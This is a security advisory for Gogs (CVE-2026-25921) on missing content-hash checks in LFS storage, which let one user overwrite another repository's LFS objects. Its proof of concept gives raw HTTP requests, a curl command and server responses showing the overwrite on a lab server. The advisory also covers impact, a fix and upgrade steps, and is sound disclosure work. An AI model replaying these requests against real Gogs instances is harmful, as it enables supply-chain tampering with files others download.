GHSA-cj4v-437j-jq4c CVE-2026-25921 GO-2026-4616

Gogs: Cross-repository LFS object overwrite via missing content hash verification

Critical Go

Severity: 9.3 / 10; Critical · CVSS 3.1
Exploit chance (EPSS): 0.37%; Chance of exploitation in the next 30 days. Higher than 31.18% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-345 Insufficient Verification of Data Authenticity
Fix: 0.14.2; Upgrade gogs.io/gogs to this version or later

Description

Summary

Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.

Details

Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58

Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89

Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113

PoC

# ./gogs -v
Gogs version 0.13.0

1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally

POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}

response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
                                     'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
                          'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
              'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
              'size': 1048576}],
 'transfer': 'basic'}

[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response:  <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92

{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}

response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT

In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a

2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>

3. Verify the content has been overwritten:

# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced

Impact

All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.

Fix Suggestion

Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.

Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified

Affected versions

Go

Package	Vulnerable	Fixed in
gogs.io/gogs	`< 0.14.2`	`0.14.2`
gogs.io/gogs	`all versions`	No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gogs.io/gogs Go → `0.14.2`

go

go get gogs.io/gogs@v0.14.2 && go mod tidy

Severity breakdown

CVSS 3.1 9.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Scope: Changed
Confidentiality: None
Integrity: High
Availability: Low

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2026-25921

Packages

github.com/gogs/gogs

Timeline

Mar 5, 2026 Published
Jun 17, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-mq8m-42gh-wq7r Gogs vulnerable to a bypass of CVE-2024-55947	High Known exploited	Also affects gogs.io/gogs
GHSA-3w28-36p9-w929 Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS	Medium	Also affects gogs.io/gogs
GHSA-744x-3838-5r56 Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API	Medium	Also affects gogs.io/gogs
GHSA-xp79-5mx3-jx52 Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)	Medium	Also affects gogs.io/gogs
GHSA-c39w-43gm-34h5 Gogs has Path Traversal in organization name that results in RCE through Git hooks	Critical	Also affects gogs.io/gogs
GHSA-6p9m-q3jp-47h4 Gogs: LFS dedupe path leaks private repo content across tenants	High	Also affects gogs.io/gogs
GHSA-89mr-xqfv-758m Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym	Critical	Also affects gogs.io/gogs
GHSA-wmfg-5p4h-5fw3 Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion	High	Also affects gogs.io/gogs

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